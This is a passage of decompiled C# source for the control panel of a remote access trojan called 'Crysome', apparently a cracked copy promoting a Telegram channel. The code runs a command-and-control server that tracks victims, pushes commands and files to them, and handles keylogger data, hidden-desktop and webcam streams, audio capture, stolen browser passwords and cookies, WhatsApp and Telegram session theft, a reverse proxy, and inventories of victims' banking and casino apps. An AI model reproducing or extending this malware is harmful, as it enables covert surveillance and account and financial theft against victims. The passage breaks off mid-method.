//IL_002c: Expected O, but got Unknown
|
|||
|
|
StatusMessage = msg;
|
|||
|
|
DispatcherTimer t = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromSeconds(3L)
|
|||
|
|
};
|
|||
|
|
t.Tick += delegate
|
|||
|
|
{
|
|||
|
|
StatusMessage = "";
|
|||
|
|
t.Stop();
|
|||
|
|
};
|
|||
|
|
t.Start();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void NotifyContextMenuFeaturesChanged()
|
|||
|
|
{
|
|||
|
|
OnPropertyChanged("IsSendCommandEnabled");
|
|||
|
|
OnPropertyChanged("IsSendCommandAllEnabled");
|
|||
|
|
OnPropertyChanged("IsSendFileEnabled");
|
|||
|
|
OnPropertyChanged("IsSendFileAllEnabled");
|
|||
|
|
OnPropertyChanged("IsDirectLinkEnabled");
|
|||
|
|
OnPropertyChanged("IsDirectLinkAllEnabled");
|
|||
|
|
OnPropertyChanged("IsSocks5ProxyEnabled");
|
|||
|
|
OnPropertyChanged("IsTakeScreenshotEnabled");
|
|||
|
|
OnPropertyChanged("IsFileManagerEnabled");
|
|||
|
|
OnPropertyChanged("IsRestartEnabled");
|
|||
|
|
OnPropertyChanged("IsCopySummaryEnabled");
|
|||
|
|
OnPropertyChanged("IsBlockIPEnabled");
|
|||
|
|
OnPropertyChanged("IsPinToTopEnabled");
|
|||
|
|
OnPropertyChanged("IsExportEnabled");
|
|||
|
|
OnPropertyChanged("IsMute30Enabled");
|
|||
|
|
OnPropertyChanged("IsNoteEnabled");
|
|||
|
|
OnPropertyChanged("IsProcessManagerEnabled");
|
|||
|
|
OnPropertyChanged("IsRemoteShellEnabled");
|
|||
|
|
OnPropertyChanged("IsRemoteAudioEnabled");
|
|||
|
|
OnPropertyChanged("IsRemoteCameraEnabled");
|
|||
|
|
OnPropertyChanged("IsRemoteDesktopEnabled");
|
|||
|
|
OnPropertyChanged("IsHvncEnabled");
|
|||
|
|
OnPropertyChanged("IsCredentialsEnabled");
|
|||
|
|
OnPropertyChanged("IsKeyloggerEnabled");
|
|||
|
|
OnPropertyChanged("IsRemoteChatEnabled");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public ManageClientsViewModel(MainViewModel mainViewModel)
|
|||
|
|
{
|
|||
|
|
//IL_0779: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_077e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_07a1: Expected O, but got Unknown
|
|||
|
|
//IL_07b9: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_07be: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_07d6: Expected O, but got Unknown
|
|||
|
|
_mainViewModel = mainViewModel;
|
|||
|
|
Clients = new ObservableCollection<ClientInfo>();
|
|||
|
|
LogEntries = new ObservableCollection<LogLineEntry>();
|
|||
|
|
CollectionViewSource collectionViewSource = new CollectionViewSource
|
|||
|
|
{
|
|||
|
|
Source = LogEntries
|
|||
|
|
};
|
|||
|
|
collectionViewSource.Filter += LogEntries_Filter;
|
|||
|
|
LogEntriesView = collectionViewSource.View;
|
|||
|
|
SendCommandCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoSendCommand(all: false);
|
|||
|
|
});
|
|||
|
|
SendCommandAllCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoSendCommand(all: true);
|
|||
|
|
});
|
|||
|
|
SendFileCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoSendFile(all: false);
|
|||
|
|
});
|
|||
|
|
SendFileAllCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoSendFile(all: true);
|
|||
|
|
});
|
|||
|
|
DirectLinkCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoDirectLink(all: false);
|
|||
|
|
});
|
|||
|
|
DirectLinkAllCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoDirectLink(all: true);
|
|||
|
|
});
|
|||
|
|
CopySummaryCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoCopySummary();
|
|||
|
|
});
|
|||
|
|
PinToTopCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoPinToTop();
|
|||
|
|
});
|
|||
|
|
ExportSelectionCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoExportSelection();
|
|||
|
|
});
|
|||
|
|
Mute30Cmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoMute30();
|
|||
|
|
});
|
|||
|
|
QuickHealthCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoQuickHealth();
|
|||
|
|
});
|
|||
|
|
RepeatLastCmdCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRepeatLastCmd();
|
|||
|
|
});
|
|||
|
|
RepeatLastFileCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRepeatLastFile();
|
|||
|
|
});
|
|||
|
|
AnnounceToggleCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoAnnounceToggle();
|
|||
|
|
});
|
|||
|
|
EditNoteCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoEditNote();
|
|||
|
|
});
|
|||
|
|
RestartClientCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRestart();
|
|||
|
|
});
|
|||
|
|
OpenFileManagerCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoOpenFileManager();
|
|||
|
|
});
|
|||
|
|
OpenBuilderCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
_mainViewModel.GoToBuilder();
|
|||
|
|
});
|
|||
|
|
OpenSettingsCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
_mainViewModel.GoToSettings();
|
|||
|
|
});
|
|||
|
|
CloseAppCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
Application.Current.Shutdown();
|
|||
|
|
});
|
|||
|
|
OpenPluginsCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
_mainViewModel.GoToPlugins();
|
|||
|
|
});
|
|||
|
|
Socks5ProxyCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoSocks5Proxy();
|
|||
|
|
});
|
|||
|
|
TakeScreenshotCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoTakeScreenshot();
|
|||
|
|
});
|
|||
|
|
ProcessManagerCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoProcessManager();
|
|||
|
|
});
|
|||
|
|
RemoteShellCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoteShell();
|
|||
|
|
});
|
|||
|
|
RemoteAudioCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoteAudio();
|
|||
|
|
});
|
|||
|
|
RemoteCameraCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoteCamera();
|
|||
|
|
});
|
|||
|
|
RemoteDesktopCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoteDesktop();
|
|||
|
|
});
|
|||
|
|
HvncCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoHvnc();
|
|||
|
|
});
|
|||
|
|
KeyloggerCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoKeylogger();
|
|||
|
|
});
|
|||
|
|
RemoteChatCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoteChat();
|
|||
|
|
});
|
|||
|
|
CredentialsPasswordsCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRequestCredentials(0);
|
|||
|
|
});
|
|||
|
|
CredentialsCookiesCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRequestCredentials(1);
|
|||
|
|
});
|
|||
|
|
CredentialsBothCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRequestCredentials(2);
|
|||
|
|
});
|
|||
|
|
CredentialsAutofillsCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRequestCredentials(3);
|
|||
|
|
});
|
|||
|
|
CredentialsAllCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRequestCredentials(4);
|
|||
|
|
});
|
|||
|
|
WhatsAppSessionCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoWhatsAppSession();
|
|||
|
|
});
|
|||
|
|
TelegramSessionCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoTelegramSession();
|
|||
|
|
});
|
|||
|
|
ToggleAppsExpandCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
AppsExpanded = !AppsExpanded;
|
|||
|
|
});
|
|||
|
|
ToggleBankExpandCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
BankExpanded = !BankExpanded;
|
|||
|
|
});
|
|||
|
|
ToggleCasinoExpandCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
CasinoExpanded = !CasinoExpanded;
|
|||
|
|
});
|
|||
|
|
StartServerCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoStartServer();
|
|||
|
|
});
|
|||
|
|
StopServerCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoStopServer();
|
|||
|
|
});
|
|||
|
|
ExportLogCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoExportLog();
|
|||
|
|
});
|
|||
|
|
AddBlocklistCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoAddBlocklist();
|
|||
|
|
});
|
|||
|
|
RemoveBlocklistCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoRemoveBlocklist();
|
|||
|
|
});
|
|||
|
|
BlockSelectedClientCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
DoBlockSelectedClient();
|
|||
|
|
});
|
|||
|
|
ClearFiltersCmd = new RelayCommand<object>(delegate
|
|||
|
|
{
|
|||
|
|
FilterCountry = "All";
|
|||
|
|
FilterOS = "All";
|
|||
|
|
FilterGroup = "All";
|
|||
|
|
FilterPing = "All";
|
|||
|
|
});
|
|||
|
|
store.Load();
|
|||
|
|
BlockedIPsList.Clear();
|
|||
|
|
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
|
|||
|
|
{
|
|||
|
|
BlockedIPsList.Add(item);
|
|||
|
|
}
|
|||
|
|
infoTimer = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L)
|
|||
|
|
};
|
|||
|
|
infoTimer.Tick += InfoTimer_Tick;
|
|||
|
|
_uiThrottleTimer = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromMilliseconds(500L, 0L)
|
|||
|
|
};
|
|||
|
|
_uiThrottleTimer.Tick += ProcessClientUpdates;
|
|||
|
|
_uiThrottleTimer.Start();
|
|||
|
|
DoStartServer();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoStartServer()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (server != null)
|
|||
|
|
{
|
|||
|
|
server.Stop();
|
|||
|
|
}
|
|||
|
|
server = new CrysomeServer
|
|||
|
|
{
|
|||
|
|
Port = store.Settings.Port,
|
|||
|
|
QuicPort = store.Settings.QuicPort,
|
|||
|
|
Store = store
|
|||
|
|
};
|
|||
|
|
server.ClientConnected += Server_ClientConnected;
|
|||
|
|
server.ClientDisconnected += Server_ClientDisconnected;
|
|||
|
|
server.PacketChannel.RegisterHandler<GetSystemInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleSystemInfo(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ClientInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleClientInfo(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<PingResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandlePingResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<RunCommandResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleCommandResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<FileTransferResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleFileResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<FtSackPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleFtSack(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<FtDonePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleFtDone(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<DirectLinkResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleDirectLinkResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ProxyStatusResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleProxyStatus(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<TakeScreenshotResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleScreenshotResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<CredentialsResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleCredentialsResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<GetProcessListResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleProcessListResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<AudioDataPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleAudioData(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<CameraFramePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleCameraFrame(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<DesktopFramePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleDesktopFrame(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<HvncFramePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleHvncFrame(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ReverseProxyDataPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleReverseProxyData(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ReverseProxyEndPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleReverseProxyEnd(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<KeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleKeylogData(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<OfflineKeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleOfflineKeylogData(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ChatMessagePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleChatMessage(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<CameraDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleCameraDevicesResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<AudioDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleAudioDevicesResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<AudioStreamChunkPacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleAudioStreamChunk(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ScreensResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleScreensResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<ReadFileResponsePacket>(RouteReadFileResponse);
|
|||
|
|
server.PacketChannel.RegisterHandler<WriteFileResponsePacket>(RouteWriteFileResponse);
|
|||
|
|
server.PacketChannel.RegisterHandler<GetDirectoryResponsePacket>(RouteGetDirectoryResponse);
|
|||
|
|
server.PacketChannel.RegisterHandler<GetDrivesResponsePacket>(RouteGetDrivesResponse);
|
|||
|
|
server.PacketChannel.RegisterHandler<NotifyStatusResponsePacket>(RouteNotifyStatus);
|
|||
|
|
server.PacketChannel.RegisterHandler<ClientInventoryReportPacket>(HandleClientInventoryReport);
|
|||
|
|
server.PacketChannel.RegisterHandler<WhatsAppSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleWhatsAppSessionResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.PacketChannel.RegisterHandler<TelegramSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
|
|||
|
|
{
|
|||
|
|
HandleTelegramSessionResponse(s, pk);
|
|||
|
|
});
|
|||
|
|
server.UdpFrameReceived += Server_UdpFrameReceived;
|
|||
|
|
server.Start();
|
|||
|
|
infoTimer.Start();
|
|||
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|||
|
|
if (store.Settings.Port > 0)
|
|||
|
|
{
|
|||
|
|
stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)");
|
|||
|
|
}
|
|||
|
|
if (store.Settings.QuicPort > 0)
|
|||
|
|
{
|
|||
|
|
if (stringBuilder.Length > 0)
|
|||
|
|
{
|
|||
|
|
stringBuilder.Append(", ");
|
|||
|
|
}
|
|||
|
|
stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort);
|
|||
|
|
}
|
|||
|
|
string text = stringBuilder.ToString();
|
|||
|
|
ServerStatus = "Listening — " + text + " • t.me/CuriousCracks";
|
|||
|
|
Log("Server started — " + text, "SYS");
|
|||
|
|
FlagCache.Get("US");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
ServerStatus = "FAILED";
|
|||
|
|
Log("Server start failed: " + ex.Message, "SYS");
|
|||
|
|
EnqueueStatus("Server start failed: " + ex.Message);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoStopServer()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
infoTimer.Stop();
|
|||
|
|
server?.Stop();
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
allClients.Clear();
|
|||
|
|
Clients.Clear();
|
|||
|
|
UpdateFilterOptions();
|
|||
|
|
});
|
|||
|
|
ServerStatus = "Stopped";
|
|||
|
|
ClientCount = 0;
|
|||
|
|
Log("Server stopped", "SYS");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Stop error: " + ex.Message, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void Server_ClientConnected(object sender, ClientEventArgs e)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?";
|
|||
|
|
if (store.BlockedIPs.Contains(addr))
|
|||
|
|
{
|
|||
|
|
Log("Blocked: " + addr, "SYS");
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
server?.DisconnectClient(e.Client);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (!allClients.Any((ClientInfo c) => c.Owner == e.Client))
|
|||
|
|
{
|
|||
|
|
int port = e.Client.RemoteAddress?.Port ?? 0;
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.Owner = e.Client;
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo2 = new ClientInfo
|
|||
|
|
{
|
|||
|
|
Owner = e.Client,
|
|||
|
|
SessionId = Guid.NewGuid().ToString("N"),
|
|||
|
|
Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"),
|
|||
|
|
Port = (e.Client.RemoteAddress?.Port ?? 0),
|
|||
|
|
ConnectTime = DateTime.Now
|
|||
|
|
};
|
|||
|
|
string address = clientInfo2.Address;
|
|||
|
|
if (store.Notes.ContainsKey(address))
|
|||
|
|
{
|
|||
|
|
clientInfo2.Notes = store.Notes[address];
|
|||
|
|
}
|
|||
|
|
if (store.PinnedIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
clientInfo2.IsPinned = true;
|
|||
|
|
}
|
|||
|
|
if (store.AnnounceIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
clientInfo2.IsAnnounce = true;
|
|||
|
|
}
|
|||
|
|
if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now)
|
|||
|
|
{
|
|||
|
|
clientInfo2.IsMuted = true;
|
|||
|
|
clientInfo2.MuteUntil = store.MutedIPs[address];
|
|||
|
|
}
|
|||
|
|
StoredClientRecord storedClientRecord = store.FindClient(address);
|
|||
|
|
if (storedClientRecord != null)
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes))
|
|||
|
|
{
|
|||
|
|
clientInfo2.Notes = storedClientRecord.Notes;
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson))
|
|||
|
|
{
|
|||
|
|
clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
allClients.Add(clientInfo2);
|
|||
|
|
_pendingUpdates = true;
|
|||
|
|
ClientCount = allClients.Count;
|
|||
|
|
if (!clientInfo2.IsMuted && store.Settings.NotifyConnect)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
SystemSounds.Asterisk.Play();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
Log("Connected: " + address, "CONN");
|
|||
|
|
RunOnConnectTasks(e.Client);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void Server_ClientDisconnected(object sender, ClientEventArgs e)
|
|||
|
|
{
|
|||
|
|
if (_reverseProxyState.TryGetValue(e.Client, out var value))
|
|||
|
|
{
|
|||
|
|
value.Running = false;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
value.Listener?.Stop();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
KeyValuePair<int, TcpClient>[] array = value.Connections.ToArray();
|
|||
|
|
for (int i = 0; i < array.Length; i++)
|
|||
|
|
{
|
|||
|
|
KeyValuePair<int, TcpClient> keyValuePair = array[i];
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
keyValuePair.Value?.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
_reverseProxyState.Remove(e.Client);
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client);
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.ProxyActive = false;
|
|||
|
|
store.UpsertClient(new StoredClientRecord
|
|||
|
|
{
|
|||
|
|
Address = clientInfo.Address,
|
|||
|
|
Port = clientInfo.Port,
|
|||
|
|
UserName = (clientInfo.Username ?? ""),
|
|||
|
|
ComputerName = (clientInfo.ComputerName ?? ""),
|
|||
|
|
OS = (clientInfo.OS ?? ""),
|
|||
|
|
CountryCode = (clientInfo.CountryCode ?? ""),
|
|||
|
|
Group = (clientInfo.Group ?? ""),
|
|||
|
|
Notes = (clientInfo.Notes ?? ""),
|
|||
|
|
IsPinned = clientInfo.IsPinned,
|
|||
|
|
LastSeen = DateTime.Now,
|
|||
|
|
AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""),
|
|||
|
|
BankInventoryJson = (clientInfo.BankInventoryJson ?? ""),
|
|||
|
|
CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "")
|
|||
|
|
});
|
|||
|
|
store.SaveClients();
|
|||
|
|
allClients.Remove(clientInfo);
|
|||
|
|
_pendingUpdates = true;
|
|||
|
|
ClientCount = allClients.Count;
|
|||
|
|
if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
SystemSounds.Hand.Play();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
Log("Disconnected: " + clientInfo.Address, "CONN");
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleClientInfo(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
//IL_0433: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_043d: Expected O, but got Unknown
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
string addr = sender.RemoteAddress?.Address?.ToString() ?? "?";
|
|||
|
|
int port = sender.RemoteAddress?.Port ?? 0;
|
|||
|
|
if (clientInfo == null)
|
|||
|
|
{
|
|||
|
|
clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
|
|||
|
|
}
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.Owner = sender;
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
clientInfo = new ClientInfo
|
|||
|
|
{
|
|||
|
|
Owner = sender,
|
|||
|
|
SessionId = Guid.NewGuid().ToString("N"),
|
|||
|
|
Address = addr,
|
|||
|
|
Port = port,
|
|||
|
|
ConnectTime = DateTime.Now
|
|||
|
|
};
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
if (store.Notes.ContainsKey(address))
|
|||
|
|
{
|
|||
|
|
clientInfo.Notes = store.Notes[address];
|
|||
|
|
}
|
|||
|
|
if (store.PinnedIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
clientInfo.IsPinned = true;
|
|||
|
|
}
|
|||
|
|
if (store.AnnounceIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
clientInfo.IsAnnounce = true;
|
|||
|
|
}
|
|||
|
|
allClients.Add(clientInfo);
|
|||
|
|
if (store.Settings.NotifyConnect)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
SystemSounds.Asterisk.Play();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
Log("Connected: " + clientInfo.Address, "CONN");
|
|||
|
|
}
|
|||
|
|
bool flag = false;
|
|||
|
|
if (clientInfo.Identifier != (p.Identifier ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.Identifier = p.Identifier ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.Username != (p.Username ?? ""))
|
|||
|
